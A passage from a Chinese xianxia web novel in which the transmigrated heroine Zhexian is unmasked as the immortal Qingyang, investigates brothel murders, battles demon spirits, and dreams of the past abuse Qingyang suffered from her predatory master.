“我最近身体是有点不好,养养便没事了,无需担心。今天这事是我唐突了,实在抱歉。”她随手擦了擦不再流血的鼻子,朝抱钰道:
“小王爷,能否安排个马车将我送回去?”
折羡用攒的力气行了个礼,十分不客气地请求道,实则她真没多余的力气了。
久颜将她扶住,忍不住讥讽道:“真不知道羡小郎君这般弱柳扶风的身子平时怎么练的,总不能练个一日剑得休息半月有余吧。”
“……”这真没毛病。
见人把自己扶得更稳了,折羡歇了怼他的心思。
“要不再请个郎中吧?”抱钰也有些担心,在想是不是他这好友下手太没轻重。
“那就多谢小王爷了。”不要试图拒绝有钱人的好意,因为对方才不会管你受不受得住,只会一味地输出。
^^
折羡这次又在床上躺了五天,上次那番操作之后,她发现她的样貌有了些许变化,与她本来的样貌更接近,其实承漾和她原本的样貌本就有七分相似,这或许就是主神非要给她这具身体的原因之一。
她的魂灵和肉身契合度也更高了,因为她如今能掐简单的术法,还能凝聚一些少许的灵气。
不过是满头大汗无比痛苦版。
抱钰在第六日来看她时告诉她久颜离开了。
还没来得及进行下一步计划的折羡:“。”
“我同久颜君那可是一见如故,还没好好了解呢,如今怕是再难相见了,我若是想去寻他,小王爷可会告知我他的去向?”折羡挂着客服式微笑,冲抱钰礼貌询问。
大有抱钰不说她就去死的架势,要是她之前的身体,现在已经把刀架人脖子上了。
抱钰疑惑二人‘一见如故’的点是指那次打出来的相识,还是别的什么,但转念一想,那家伙不用再缠着他练剑心头就无比畅快,他开心地道:“离安!他是离安国的三皇子。现在回离安去了。”
折羡挂着笑的脸有一秒的僵硬,她不动声色地收起笑容,动了动脖子,叹气道:“那便罢了,看来是时机未到。”
折羡并没有直接出发返回离安,而是准备在离渊先待上一月,既已得知任务对象的去处,那自是不必着急。
急也急不来,想见皇子,还是得天时地利人和综合考虑,否则便只能走非常道路。
她本是不好一直住在抱钰安排的地方,便想离开去住老破小客栈,然抱钰热情好客,且对她‘一见如故’,非说折羡走了就是不拿他当朋友,跟她说若实在觉得愧疚,便陪他去审之前抓到的坏人。
折羡答应了,有活干她还是心安理得一点,而且活轻松,适合养身体。
她收拾了一番,总觉得自己忘了什么事,又觉得自己还是太过谨慎,任务对象的去向都摸清楚了,她还能毫无心理负担地继续住在豪华客栈养身体,能有什么事忘记的。
清理了脑子杂物,折羡跟着抱钰来到牢狱。
本来那次折羡不出手,抱钰也是带着钓鱼的想法把背后之人抓出来,没成想被折羡抓住的那人其实武功极好
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,他那三脚猫功夫压根打不过。
结果那背后之人也是个重情义的,见小刺客被抓了,按耐不住又出来蹦跶,让久颜逮了个正着。
那两人被关在两个牢房,面对面中间隔了大空房,摆了张大桌子供折羡二人休息盘问。
两人一出现,那背后之人就冲到了门口,叫嚷道:“你有什么冲我来!放了他!”
抱钰把带来装逼的扇子打开,他跨坐在凳子一侧,睨眼看去,颇具纨绔王爷的风姿,他道:“你多大脸啊冲你来。”
那人又朝折羡看去,想激怒折羡,结果看到她脸地瞬间,瞳孔震颤,面部扭曲,嘴唇都在发抖:“难怪,难怪……我说呢……”
“……哈哈,怎么会有人快过弟弟呢,原来如此,原是这样……说得通了。”
他颠三倒四地说些让人摸不着头脑的话,折羡手指不着痕迹地点了点玉牌,灵光一闪突然想到了什么,靠近那人想先结果了他,那人似乎猜出了她的意图,在她靠近时迅速撤到了离她最远的牢房的一角,大喊道:
“清羕仙君,你在怕什么呢?怕我说出你的身份吗?哈哈哈哈,你竟然还有跟人合作的时候?”
抱钰摇扇子的动作一顿,朝明显心虚想下手的折羡看去。
“…啊。”折羡瞥了一眼那家伙,也算是在此刻知道了自己先前遗漏的是什么。
承漾作为一个好多年前就修炼成仙的人,后世之子确实很多没见过她本尊的脸,这也是为什么她没有过多去伪装的原因。
好吧最主要的其实是这个世界没有人皮易容法,而易容术,她目前无法使用,简单的伪装又太容易露馅,她干脆省了。
再加上自己一向好运加持,自动忽略了这个问题,既然被拆穿了,她也没有瞒下去的必要,开口道:
“他没说错,我即是清羕。”
抱钰站起身,手微微发抖,他眼里满是震惊和不可思议,“为何要骗我?”
“我何时骗了你。”他又没问,而且她从不说假话。
“你说你叫折羡。”抱钰扯了扯嗓子,哑声道:“而且,你是女子。”
折羡手里的玉牌幻化成了一柄匕首,她绕着转了一圈,回道:“前者,我本名。后者,你从未问过我。”
抱钰原本极其钝痛的脑子停住了,好像没毛病。
正要再深度思考时,那人又大叫起来:“你胡说,你明明叫——”
“呲——”一柄匕首如利箭般朝男子而去,只在瞬间就刺穿了他的喉咙,鲜红的血将青质白玉般美得令人想反复观看的匕首侵染,在昏暗的灯光里更显妖冶,牢门不知何时打开了。
折羡走近,抽出匕首,漫不经心拿着帕子擦拭,看向那死时还满眼不可置信的人,笑得有些坏:“我想起来了,你便是上次输了我棋局的那人,这么输不起几个子儿,怎的报复上小王爷了。”
“小王爷,此人没什么好盘问的,你应当不介意我替你杀了他吧。”
折羡擦干净刀,看向抱钰,眼里是无常的平静。
抱钰捏着扇子,尬笑两声:“当然不介意,这还有一个,随意处置。”
处置刺客就不能再想起他抱钰了哦。
另一旁被折羡瓷刀伤了脸的人如今已经快死了,不然刚刚这么大动静这人早爬起来尖叫了,原来踹了他的是‘大名鼎鼎’的仙君,那他也算是败得其所了。
其实折羡没想威胁抱钰,人家可是皇帝的亲弟弟,怎么说也是有名有分有权,自己虽然有点实力但不多,且如今还无法全部发挥。
之前四处树的敌已经够多了,她是真想交抱钰这个朋友的,人傻钱多好拿捏。
“抱钰,你在怕我吗?”折羡朝他走来,抱钰也后退了一步。
5. 修炼之法
这是他们认识以来,折羡第一次叫他名字,说实话他挺开心的,说明她也是愿意跟他交朋友的,可代价是让他知道她是那个曾经‘作恶多端’‘残害同门’‘狼心狗肺’‘目中无人’‘满嘴谎话’的清羕仙君。
此人,惯会伪装。
此人,一向心狠手辣。
此人,嫉恶如仇。
此人,向来以德报怨。
他所听到的,了解到的,全是关于这位仙君最差的评价。
他本不该以旁人之心之言来看待别人,可奈何,他皇姐,离渊的君王,万人之上,也曾经被这位仙君伤害过。
一着不慎,满盘皆输。
他打不过折羡,这是他所深知的道理,也许这牢里的人加起来都打不过清羕仙君,但抱钰愿意相信自己的直觉一次,只要折羡回答得哪怕有一丁点相关,他也能自我催眠:“我只问你一句,你有没有想过利用我?”
折羡沉默了。
如果是说久颜那件事,那必然有。
如果是她想继续住豪华大宅这事,那也算利用了。
不过她管这叫互惠互利。
长久的沉默在抱钰看来天都塌了,他不再抱希望,手里的扇子转了个面,给一旁隐在暗处的人打手势。
折羡终于想好了措辞,抢在暗卫冲出来的前一秒反问抱钰:“如若你觉得我拿你当朋友这件事是在利用你的话,那你是不是也利用我了?”
没错,既然她当抱钰是朋友,前两条怎么算是利用呢,那是朋友给予的便利之道。
抱钰愣了一瞬:“我利用你什么了?”
折羡:“利用我的感情。”
“?”
汝闻此为人言乎?
“友人之间的帮助,也算利用吗?”折羡默默转了身子,看上去很是难过。
“自是不算的,但……”
抱钰的脑瓜子此时转的极快,他将他们这半月以来相处的点滴可劲回忆,这才发现其实他们真正相识经历不过寥寥,压根谈不上能互相利用对方感情的程度。
情谊本不该用时间来衡量,仍应以亲身经历为首要。
所以,他跑了。
他没有要把折羡抓起来或是押送给他姐的这种想法,她们之间的事,如有必要,自己会解决,若无必要,那缘孽尽于此。
折羡回了客栈,将自己的东西收拾完,离开了离渊。
她的身份已经被抱钰知道了,她虽没刻意隐瞒,但若抱钰告知那位女帝,她少不了要在此处待上好一阵,她脑子里关于承漾同女帝的那段过往,是真的打得很凶,女帝模样看不清,双方下死手倒是快。
她真是心力憔悴,这事还是等她身体恢复,有完全自保的能力之后,再去解决吧。
折羡回了离安,又住进了客栈。
其实她也可以回霄欢宗住,但是怕被那些弟子群起而攻之,还是准备在客栈躺完剩下的两个月。
接下来两个月因着折羡没怎么出门,所以没招惹晦气,加上她的魂灵和肉身融合,正在重塑变化,她发现,她长高了一些,面貌也同自己本来的面貌更像了。
这个世界以灵气修炼为主,比之灵气低下的是使用灵力,而在灵力之下又分了几个阶层,分别是筑灵期、速灵期、强灵期、以及灵力期。
再往上就是由魂灵和肉身结合而修炼出的灵气。入了灵气的魂灵都统一成为灵体,而承漾为一品灵体,从开始修炼便是灵气阶段。
灵气阶段又分为下等灵气、中等灵气、上等灵气、纯灵气。这几个阶级修炼跨越起来非常慢,想要突破有时候需要花上几百上千年。
纯灵气往上的更是少之又少,一般是各界少有的强者和天才,在纯灵气后是纯自然而生之灵气,满足纯自然而生之灵气者,是由世界选出的守护整个大陆秩序法则的“明”。祂们或是神明衍君,或是妖兽之王,或是魔域之主等。
这在大陆并不是什么秘密,基本的史册上都有写。
有一具能修炼的灵体能帮助快速修炼,但若魂灵太弱,也会停滞不前。
折羡目前就处于重塑肉身以及强健魂灵的阶段。
所以她就又出去溜达了一圈,找了个无人的林子试着掐诀。
没有一开始那股喘不上气的感觉,也不再是一用力就要晕倒的身体。
甚为满意,她又出了城,这次真的回了一趟霄欢宗,承漾那里有很多法器和灵石,这些都是她需要且没有的。
不管用不用得上,她全打包掳走,最主要是那个承漾从仙界带来的储灵袋,好东西。
这个储灵袋能装得极其多,区别于其他储物袋最大的一点就是,它不仅能装死物,还能装活物。
她的任务是收集魂灵,活的魂灵。
如若魂灵听她忽悠,自不必用这种方式,若不听,那么暴力掠夺就是完成任务的最后方式。
探了探自己体内隐隐破势而出的能量,她将储灵袋系在腰间,朝自己的客栈方向走去。
从城门这方进来回到折羡所在的客栈需要经过醉红楼。就是那个她真正来到这个世界,第二次穿进承漾身体的落脚处。
然后她就看到,一堆人围在了那里。一个青楼,那么多人围着,准没好事。八卦热闹这些,她心情好的时候,能瞧上几眼,心情不好状态不佳,她只想离得远远的。
更何况她的身份还如此特殊,现下自是能避开就避开。
“哎哎哎,听说醉红楼后台的东家倒了,上头派人来了。”
“还有这事?走走走,快去看看。”
“那地方有什么好看的,别去沾染晦气了,让你家小娘子知道了你可得有罪受了。”
“呃,实不相瞒,冲在最前面的那个就是我家娘子。”
“哎,那不是我家娘子吗?”
那人朝那边看去,好家伙,男男女女挤了一堆。
巡城御史带着官兵将百姓隔开了,照常理发展,接下来就是疏散人群,安抚人心然后去楼里抓人。
结果御史将老鸨押了出来,转头交给了刑部来的官员,那动作行云流水一气呵成生怕慢了一步就要被降渎职之罪。
折羡本是要离开的,无奈人群太多,被围得水泄不通,她无法在那么多人中逆行行走,刚想隐匿身形遁走,就见到了她之前打听到的青楼楼主卞青,被抓的一幕。
随之出来的是几个官兵押着楼中守卫。
另外的官兵抬出来一些尸体。
说是一些,其实很多,她扫了一眼,目测不下有十来个死尸,有一半身上都穿的锦缎,剩下无一例外,全是朝廷官员,他们身上的官服不单单是离安的,还有很明显标志的离渊国和离奚国的官服。
她这次真把自己隐匿起来了,然后站在了某个官兵旁边。
那些人面部黑紫,脖子上全都有着勒痕,眼珠子也被挖了一只,剩下那一只在死的时候还瞪着,脸上还被涂了女子用的脂粉。
折羡靠近了些,这才发现,他们下半身是断了的,被拼在一起,应当是从腰部以下被截断了,断得位置非常整齐。
看这干脆利落的手法,不像是人能做出来的。
楼外看热闹的百姓在尸体被抬出来时已经被官兵驱散开,巡城御史已经吩咐将整个楼围起来了,将人全部找出来清点时,从老鸨那里拿来的记录在册的人少了一半。
男的都在,女的一个没有。
御史把老鸨揪了过来,怒斥:“本官问你,其他人哪去了?!”
卞青先前挣扎时脸上被扇了一巴掌,她双手得了空,擦了一把嘴角的血:“官爷,哪还有人啊,死的没死的都在这了。”
一本册子猛然砸到了卞青的头上,力道不算重,她额角竟出了血。
御
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史气得险些撅过去。
折羡弹了一道细微的灵气过去,将卞青额头上的血不着痕迹抹了一滴。
她这边刚碰到血,卞青便突然从半跪着,头微抬的状态直直朝地上磕去。
御史离她最近,以为这疯女人又要来碰瓷,假意往旁边挪了一步。
就在卞青头离地面还差一毫之时,折羡给人托住了。
在旁边人看来就好像是卞青要碰瓷御史,结果人家看出来她的目的转身不搭理她时她自己又若无其事跪好了。
此人非人。
见老鸨这边问不出什么,御史转头去盘问那些楼中的倡伎,看到那一排排穿着漏风、披头散发的男的,他顿时感觉头大。
真是想破脑袋都想不明白这卞青怎么会男的女的都往楼里揽。
“在此之前,楼里除了你们,还有别人吗?”
“押注开始之前,都在一楼。”
“押注?这是何意,把你知道的都说出来,说清楚点。”
其中一个人此刻还头皮发麻,胡言乱语把上午发生的事都讲了一遍。
今日是醉红楼一月中最特殊的日子,押注,顾名思义,就是赌。
奖品是一个男人,一个女人。
一人出一枚铜板进行押注即可。
参与竞猜的人投掷一枚铜钱,接着在自己位置上静待等候。
卞青会拿出醉红楼新出的香粉,然后叫出二十个人,男女各十个,在台子上表演。
最后若有人猜出香粉在哪两个人的身上,那么即为获胜者。
一枚铜板就可以得到自己想要的男人或女人,这对他们来说是多么心动的一次尝试。
也就在押注投币开始之后,场面像往常一样混乱起来,都在争抢着头名的奖励,接着就见到一个物体从二楼的屋子里被抛了出来,翻飞的血珠落到某些人脸上众人才反应过来,出人命了。
胆小的吓到直不起身,尖叫声、抽泣声一片,推搡着人群往外跑,接着就是巡城御史带着人来包围的画面。
“那二十个人现在何处?你们之中有这些人吗?”
那人摇了摇头,否认道:“不知,没有。”
“你的意思是,死了人之后引起骚乱他们就消失了?”御史忍不住抚了抚自己头上的帽子,一怒之下坐到了一旁的椅子上,结果那椅子不知是用久了还是受不住御史高贵的屁股,“咔嚓”一下碎了,御史连人带椅子哐当就滚地上去了。
他干脆闭了眼,假装自己离世。一旁的刑部郎中苦着一张脸,想笑又怕毁形象,也怕这同僚之情破碎。
折羡是真笑了,因为她看到了使坏之人,那人同她一样是施了术法藏起来的,只不过那人品阶较低,施展灵术时的种种行为和表情简直跟在折羡面前表演没什么两样。
而跪在那里的卞青也朝这边看了一眼,折羡看到她曲了半根大拇指,又拿小拇指画了半个圈,先前使绊子的人就快速离开了。
折羡留了一抹神识在这边盯着,朝那个方向追去。
后院有结界。
折羡放出去的灵气被弹了回来,轻飘飘的。
折羡能使用灵气后便只顾着修炼来提升身体素质和功法了,还没来得及研究阵法和结界这些。
只不过有股诡异的感觉在折羡修炼时最强烈,但她向来是事不找上她她是绝不会多踏出一步去找事的。
今日既是被人挤到了事面前,那只有‘被迫’加入。
正当她准备回到前殿再查看那些尸体时,她感受到结界的力量退了下去。
折羡:“……”
这是在,等她过去吗?
她刚踏进院子,便看到了一排排穿着漂亮站得整齐的人。
其中有几个,瞧着像是承漾的老熟人了。
这些人并未发现她的到来,那方才结界的感应是怎么回事?
6. 少年承漾
“是我!主人。”挂在腰间的玉牌亮起,隐若的声音在脑海响起。
“主人,这结界识得隐若的气息,隐若跟它亲。”
可她一进来,就感受到了几股不同的灵气。
其中最强的便是魔灵之气。
跟结界处的气息非常贴合。
她给自己脸上挂了个面具,抬手化玉为剑,朝着那些“灵”劈去,极强的剑气挥至眼前,他们才看清来人。
折羡着一身窃蓝色衣衫,手里还拿着青瓷玉剑,靠近剑柄处的位置隐约浮现了一道金光,同那张金色浮纹面具相衬,就这么站在远处同这边人对峙。
她已经想好了,那道剑气只是激发双方斗争的开始,等它们打过来,她就可以拿这些“灵”试试水,检验一番她最近修炼的成果。
当然最主要的是,她要报一报这其中某些人和承漾结下的仇。
是的,她从来不认为承漾所做的全是坏事,这其中有些事确实是承漾故意为之,她最后也实实在在走上了不归路。
但有些人,也是欺骗背叛在先。
有“灵”道行太浅来不及躲开被剑气所伤,立即跌落到了地上。
此“灵”并非是真灵,而是披着人皮的妖界物种。
也就是曾经跟承漾有点孽缘的那些妖。
变故发生太快,它们没能想到在这人类地界还有人会这么快破了结界一言不发直接杀过来。
苜夭将灵力虚弱的妹妹扯了起来,同一旁的几个姐妹对视一眼,其中三人直接冲着折羡过来了,剩下的带着其他“灵”退回了房间内。
折羡抬剑念咒,正想将所有的“灵”都困在瓷玉剑气范围内,她虽没学结界和阵法,但是她会一点缚灵咒。
可不知怎的,在她起咒挽剑之时,她朝那些逃向屋内的“灵”看了一眼,其中一“灵”明明长得身高腿长,走起路来却跌跌撞撞,两步并半步,跑得极其缓慢,甚至称得上悠闲。
要不是这是在逃命,折羡还以为她要婀娜多姿地凹造型走秀。
很纯粹的一句夸赞,真的很好看。
那人的背影身形极其熟悉,仿佛在哪见过。
折羡踮脚起身,那‘女子’正好偏头看了过来,那双狭长微挑的眸子撞进了折羡眼中,眨眼时长睫轻颤,眼尾还泛着红。
脸更好看。
“……”
那眼神和楚楚可怜样,仿佛在说:救我。
折羡在房门关上前一剑把门劈烂了,连带着门上可能隐藏的阵法。
她在其他“灵”反应过来前将那‘女子’扯了出来,随手扯掉自己头上的发带把人绑起来防止美人误事。
‘女子’从折羡上手时便自动往她这边靠,甚至于非常主动地让她绑。
折羡分了个询问的眼神给她:?
她垂着头,露出一抹笑:“多谢郎君相助。”
折羡觉得这人有点奇怪,讲话声低低的,不似寻常女子声音细腻,甜美。也不像男子那般粗犷,厚重。
但是听了让人耳朵发痒。
现下也没时间细究,她甚至不知道自己就看了人家一眼便出手将人抢过来的动机是什么。
这行为无异于给自己增加难度。
苜夭头上的钿突然幻化成了琴丝,在她手中波动,一下一下,琴音伴着妖灵之力朝折羡袭来。
“纸鸰!过来。”
纸鸰双手被折羡用发带绑着,又往她身后躲了躲,耷拉着的眉眼略抬,眼底寒光一闪而逝,略有些害怕地道:“苜夭姐姐……我的鸟死了。”
“我不是说了,等回到妖界,再为你寻一只一模一样的。”一旁的女子抽出腰间软鞭,朝折羡挥过去。
折羡刚听了句悦耳的话语,心情正好,就被这呕哑嘲哳的琴音败坏了那点兴致。
她压下心底的戾气,挽剑进攻,两人立即打了起来,刚过了两招,一根黑皮软鞭如无骨的蛇般缠了上来。
“兰璎姐姐,可我不是妖,不能去妖界。”纸鸰藏在袖子里的手动了动,曲指弹了道隐形的灵气出去。
先前在门外就被折羡剑气伤了的妖灵瞬间全部跌落在地,已经跟五个妖灵打了起来的折羡发现她们行动变得迟缓,扯过纸鸰后撤一步立即用剑压了一道含灵的剑气过去,趁它们应对之时嘴里嘟囔几句缚灵咒咒语。
灵力不比灵气强大,作用在妖物身上只有片刻作用,因而折羡念咒的速度极快。
“纸鸰你这个叛徒,为什么要去帮人类!”拾烟身体动不了了,只好嘴上骂。
“她是魔,你是妖,你们本身就不是一路人。”折羡收了剑,从储灵袋里拿出收缩镜。
收缩镜,是一件仙界灵器,历练升级时捕到大怪物而储物袋太小无法将其带走,便可以用收缩镜将物品缩小存放。
这是承漾成为清羕仙君时众长老送她的礼物之一。
“若我没猜错的话,这外面的结界便是她设的,而她是自愿还是被迫,你们应当比我清楚吧?”折羡将那几个没什么威胁力和战斗力的妖率先收进了袋子里,留了几个有仇的和需要问话的。
“你在胡说八道什么,她就算不是妖,也与你们这些伪善的人类不同,比起你,她自当与我们是一处的。”
“我不反驳你说人类伪善,但,只要做错了事,不管是人类还是妖灵,都是要为其付出代价的。”折羡取下面具,挑起兰璎的脸,目光冷冽冰寒:“看清楚了吗。需不需要我帮你回忆一下。”
兰璎瞳孔收缩,眼里映着‘承漾’那张永生难忘的脸,她感觉自己心脏漏了一拍,恐惧油然而生:“阿、阿漾。”
“你也配这么叫。”
“世人都传我自私自利,杀人如麻,与妖物勾结,同邪魔一道残害生灵,可你当知道,这其中哪些是真哪些是假。”折羡抚上兰璎的后背,掌中一道灵气打入,兰璎瞬间从人形退回成了半蛇形态。
“啊啊啊啊!嘶……”她体内的某股能量被折羡硬生生扯了出来,蛇尾某处的血渗了出来,染得折羡的手指黑红一片。
纸鸰吓了一跳,连忙掏出绢帕将折羡的手擦了个干净。
折羡朝她看去。
后者目光沉沉地回望她。
“你何时……”自己解开的?
“那血有毒,你手受伤了。”擦掉那些血纸鸰才发现,折羡食指处应当是寻找兰璎本体时被蛇口划伤了。
“无事,这点毒对我来说……”话未说完,折羡恍觉眼前重影叠叠,她反握住纸鸰的手,另一掌抵着剑快速打了个生死印进纸鸰身体里。
“带我走,我救了你一次,你救我一次,往后扯平,别想趁机威胁我,我死了你也别想活。”折羡感觉自己中
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毒不轻,话说出来丝毫没有威胁力,因为她模糊中看见纸鸰还弯了弯唇,似是对这威胁很是满意。
总之,她又晕了!!!
等下次见到主神,她真要好生说道说道了,这身体机能到底加强在了哪里?
纸鸰将人揽住,半抱在怀里,那边还没来得及审问和解决的几个“妖”齐齐朝纸鸰看过来。
兰璎已经被抽去了灵丹,如今半死不活地趴在地上嘴里还一直吐着血。
纸鸰手中黑气滚滚,折羡晕过去了,她干脆也不装了,连先前压低的声音此刻都冷下不少,居高临下地看着它们,唇边笑意不减:“本君帮你们从不是为了要同你们回妖界,百妖王要是知道你们在外干了什么,怕是你们这辈子都回不去妖界。先前你们对她做了什么,一一道来,或者等本君亲自来取。”
苜夭低着头,内心惊骇,她不敢再看纸鸰,刚那一眼,她便看到了纸鸰那双漆黑的瞳孔换了颜色。
她不敢隐瞒,将百年前她所知道的事一一道来。
^^
折羡真觉得自己中毒不轻,她已经出现新的幻觉了。
而且貌似她灵魂出窍了。
远处牌匾上明晃晃写着“霄欢宗”几个大字,她不是刚从霄欢宗回来吗?
拐角处突然出现了几个少年,正朝折羡这边走来,她正想着自己要不要隐身时突然发现身上这衣服不对劲,这貌似是霄欢宗长老一辈的衣服,不是弟子服,她这是成了谁了?
那几人见到折羡,都停下行礼问候:“掌门师伯好。”
“师尊。”
折羡看到了承漾。
那是她先前在记忆里看到的十几岁时的承漾。
而她现在是,嗯。
那个过几年就要被承漾削成碎片的柳欢珩,霄欢宗的掌门。
这还有什么不明白的,她应当是中毒晕过去后梦到了承漾之前的事。
也许是承漾真的恨死了她这位师父,以至于霸占了她身体的折羡现如今做梦都成了承漾恨得最深的人。
‘柳欢珩’笑眯眯地朝他们点头,让其他人先行回去,留下承漾。
原来这具身体的控制权不是她,是原来那个柳欢珩,她干脆找了个舒适的姿势,当一回第一人称吃瓜群众。
这是柳欢珩视角。
她清楚地看到柳欢珩拉起了承漾的手,将她带进了屋里。
“师尊前几日给你的心法,修炼得如何了?”柳欢珩整理好衣袍,坐到小案前。
承漾倒了杯茶给他送去,低着头回话:“已经炼完前三层了,这月应当可以熟练掌握。”
柳欢珩面色温和,很是满意地笑了笑:“你天赋极好,要勤加修炼,不要辜负了为师对你的期望。”
“是,弟子知晓。”
承漾依旧垂着头,勾起的笑容恰到好处。折羡看到,她如同黑曜石般的眼睛里满是杀意。那不经意间露出的手腕处还多了道伤痕,像是故意为之。
“你回去罢。”
“弟子告退。”
接着折羡就见识了一波柳欢珩这个极品男人的一番骚操作。
他端着那茶盏,细品了一口,似是觉得不满足,整个舔了一圈,在承漾手握过的位置反复舔舐。然后走到衣柜旁,拿起一套弟子服,抱着躺到了床上。
折羡:……
7. 恶之本源
折羡一怒之下捶了顿空气,她怎么就穿到了这么个玩意儿身上?
前世真是造孽造得不够多。
等人完事之后折羡跟着他出了房门,此时夜已深,潋青峰格外静。柳欢珩只收了承漾一位徒弟,承漾的房间就在柳欢珩旁边,他路过房门时停了片刻,见里面不知何时已经熄了灯,又才推门进去,在门口站了约半个时辰才离开。
幸得这人没在此刻干点什么,不然折羡敢保证,装睡的承漾能在今天便结果了他。
柳欢珩走到了后山一处有结界的洞口,他解了结界朝里走去。
洞里时不时传来滴滴答答的水声,在潮湿阴暗的环境下尤为明显,大约走了一刻钟,折羡终于见到了一缕不需要夜视功能肉眼可见的光,走近才发现那是一盏灯,灯的旁边是——
一条银黑相间的蛇、一只棕色兔以及一只白色横斑的雪鸮。
柳欢珩将储物袋里的食物扔了出来,那三只品种不一的家伙全都冲了上来。
折羡亲眼见到那蛇吃了食物后化形成了一女子,只一眼,便认出兰璎那张脸。
柳欢珩这畜生竟然在人界养妖物。
还一口气养了三只。
“主人。”兰璎屈膝行礼,一旁的兔子紧接着化形成了一女子,此人是苜夭。
只剩下那雪鸮叼着食物没吃也没化形。
柳欢珩很满意这俩人如今对自己的态度,转到雪鸮时,他毫无征兆地掐住了它的脖子,灌入的灵气不低,仿佛要将它活活掐死。
“咕咕——呜——”它睁着眼睛,嘴里发出低呜声,像是在哭。
终于在它快断气时,柳欢珩松了手,它直直地跌到了湿漉漉的石板上,翅膀已经被眼前人折断,前爪甚至没力气动弹,橙黄色的眼睛却还死死瞪着柳欢珩。他没在意,甚至对于此等不知讨好卖乖的畜生颇为生气,抬起脚便踹了上去。
“我先前说的话你是听不明白吗?还想忠心于她?你只不过是她随手捡回来的一条畜生,你看她有来找过你吗?”
“如今,我才是能掌握你生死的人。”
他又将雪鸮提了起来,随手就要朝远处扔去。
结果手突然不听使唤松了力道,然后身体不受控制的朝雪鸮原来待的位置走去,还十分贴心地掏出一方帕子垫在下面。
一旁依旧跪着但一直偷偷瞄着这边的两人:?
什么情况。
就在刚刚,折羡发现自己可以附身了。
但为此消耗的精神力极大,而且能坚持的时间不长,根本无法多做什么。
这三只妖都是承漾救回来的,而兰璎和苜夭已经被驯化无法再救,便准备带走雪鸮,要让承漾知道它们如今的处境。
结果刚出结界柳欢珩就醒了过来,她只来得及给雪鸮下一层灵印便沉睡了过去。
她本以为沉睡之后醒来就是真的醒来,结果睁眼还是柳欢珩视角。
而且,时间线跳转的非常快,她发现苜夭和兰璎已经彻底以人的形态同承漾接触了。
她们穿着霄欢宗的弟子服,拜的是其他长老门下。
三人关系还朝着一种更好的方向在发展。
此时的柳欢珩,正在教训承漾,一旁的兰璎同苜夭在为她求情。
柳欢珩手中长鞭已经打了数十下,每打一鞭便会问一句“你可知错?”
承漾双腿跪在刺条上,即使后背被抽得血肉模糊,她依旧挺得笔直,声音透着一丝决绝:“弟子没错。”
她从来只称自己为弟子,而不是他的徒儿。
柳欢珩长鞭握在手中,脸上表露出一丝心疼:“为师只是想让你服个软,就这么难吗?”
那副难以言喻的怅然看得承漾直犯恶心,她恨不得现在就抽死眼前这个伪善下作的人。
“柳掌门,若认弟子之错,便按宗门规矩处置吧。”
长鞭落到了地上,柳欢珩哑声问她:“你唤我什么?”
承漾恶心到懒得多跟他说一句话,撇开脸没应。
柳欢珩冲到她面前,将人从刺条上拉了起来,怒声道:“你们两个滚出去!”
兰璎和苜夭立马溜了。
现下的承漾受了鞭刑,双腿也早已被刺条扎得满是血窟,整个人几乎是被柳欢珩提起来的,她捏着拳头想挣开他,这人的气息简直要把她熏吐了。
柳欢珩察觉到她想离自己远一点的意图,登时脑子就炸了,他将人按在床上,呼吸之间都在颤抖:“阿漾,你明知道……你明知道为师对你的心意。”
他知道自己并非无情无欲之人,虽已修至灵气阶段,却也只是刚摸到门槛,下等灵气也只修炼到三层,比起承漾的品质差太远。
因而从一开始的单纯培养心理渐渐变了质,不知何时从怜爱变成了爱而不得,从想让承漾成为他最得意的徒弟到同承漾在一起表露心意与其双修不过一念之差。
“你闭嘴,恶心。”承漾干脆松了手,躺下了,闭着眼睛头偏到一边。
此话一出,柳欢珩愣了一秒,接着笑了起来:“你说我恶心?哈哈哈哈,我养了你十八年,难道你不该是我的吗?我们天生就该在一起。”
柳欢珩扯了外袍,朝承漾走来,眼里满是对对方的渴望:“你知道我想这一天想了多久吗?阿漾,你这般世间少有的灵体,若同你双休,我们……”
“柳欢珩!你今日要真对我做什么,我来日必然让你承受百倍之苦。”她定会将这贱人削成碎片挂到霄欢宗门口让每一个路过的人都看上千遍。
更何况,这具身体,不可以,她死也不会让这具身体沾染上柳欢珩这种贱人的污秽。
她捏紧了拳头,掌中是一根极其细小的针。
“阿漾,我这是为你好。这于你于我,都是好事。”内袍的带子解了一半,柳欢珩突然停住了。
折羡实在是听不下去了,傻子都知道这情况再往下发展会是什么。
她算是看明白了,这家伙是有点脑残在身上的。
先是将承漾历练救回来的妖收入自己囊中将其驯化,还骗承漾说人妖两界不可苟同,他已将它们归还妖界,接着又命她们换身份接近
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承漾,与其结交之后诱骗她犯错的同时前去救她,最后又以此点拨想表明自己的善举。
还试图精神控制承漾让她对柳欢珩生情。
结果便适得其反,早就被人嫌弃了个透的柳欢珩也确实没想到,承漾那个一直很单纯善良的心,在面对其他人的欺骗时跟双眼瞎了一样,到他这里就处处碰壁,处处令她防备。
他精心筹划了这么久,想念渴望了那么久,怎么甘心就这样放走她。
折羡附身归附身,她说不了话。因而只好穿完衣服才去拉小姑娘的手,被承漾反手甩开。
“滚远点。”
折羡:……
她把柳欢珩那些灵药都摆了出来,接着用柳欢珩的佩剑戳了戳小姑娘的手臂。
没理。
她又戳。
承漾睁开眼睛,同‘柳欢珩’四目相对。
她脸上的怒气僵了一瞬,明明还是柳欢珩那张恶心的脸,她却仿佛从那双眼睛里看到了另外一个身影,很熟悉很熟悉,熟悉到她觉得委屈,熟悉到她想抱着那人哭。
“主……”
哽咽的话还没说出口,她就闭上了嘴,怕这一叫,便再也见不到了。
她又看到了那一排排药,再也忍不住,眼眶里的泪水一涌而出,在折羡面前哭得十分委屈。
折羡没法张口安慰她,只得垂着手在承漾头上方虚空摸了摸。又拿剑指了指药瓶:快上药,快快好起来。
她胡乱地擦着药,眼一眨不眨地盯着那双眼睛,大有将柳欢珩那张脸盯烂记死去往灵魂深处的架势。
看着人上完药,又送她回了房间,折羡松了口气,这才发现她居然还没被柳欢珩那家伙抢回身体主导权。
想到自己晕过去之前在雪鸮身上留了一道灵印,她调动灵气试着了感应了一下,灵印还在,说明这家伙还没死。
趁着还能活动,她拿起柳欢珩桌上的笔,低声念唤灵咒,将灵气凝聚在那笔端,几息过后,窗外响起了“咕咕”声。
折羡抬头,先前也不过一个柚子大小的鸟儿如今停在窗户边倒显得那窗口狭小了,雪鸮时隔几年再次闻到熟悉的气味,它第一次在‘柳欢珩’面前幻化成了人形。
这也是折羡第一次见到它的人形。
